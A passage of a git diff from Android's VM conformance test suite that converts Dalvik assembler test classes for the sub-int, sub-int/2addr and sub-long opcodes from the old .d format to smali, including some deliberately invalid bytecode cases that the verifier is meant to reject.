-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_1.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali
new file mode 100644
index 0000000..7da44d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_1.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d
deleted file mode 100644
index 2d6c43f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456.0
-       sub-int v0, v2, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali
new file mode 100644
index 0000000..bbdfdee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int v0, v2, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d
deleted file mode 100644
index 4ff0912..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_3.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456675
-       sub-int v0, v0, v2
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali
new file mode 100644
index 0000000..5eabdfd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_3.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int v0, v0, v2
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d
deleted file mode 100644
index f3b57fc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_4.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v1, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali
new file mode 100644
index 0000000..af83327
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_4.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v1, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d
deleted file mode 100644
index f813789..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_5.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-
-       sub-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali
new file mode 100644
index 0000000..3d1bc31
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_5.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+
+       sub-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d
deleted file mode 100644
index b45a470..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_6.java
-.class public dot.junit.opcodes.sub_int.d.T_sub_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       sub-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali
new file mode 100644
index 0000000..6b736ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int/d/T_sub_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_6.java"
+.class  public Ldot/junit/opcodes/sub_int/d/T_sub_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       sub-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d
deleted file mode 100644
index 203da0d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_1.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali
new file mode 100644
index 0000000..25875ff
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d
deleted file mode 100644
index e3e5cab..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_2.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456.0
-       sub-int/2addr v2, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali
new file mode 100644
index 0000000..05498c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int/2addr v2, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d
deleted file mode 100644
index cad0b89..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_3.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456675
-       sub-int/2addr v0, v2
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali
new file mode 100644
index 0000000..20e69e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int/2addr v0, v2
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d
deleted file mode 100644
index efce9cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_4.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v0, v2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali
new file mode 100644
index 0000000..0e98c5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v0, v2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d
deleted file mode 100644
index 77b2c6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_5.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       sub-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali
new file mode 100644
index 0000000..18b78b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d
deleted file mode 100644
index 1705eb7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_6.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali
new file mode 100644
index 0000000..af58f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d
deleted file mode 100644
index 4367232..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
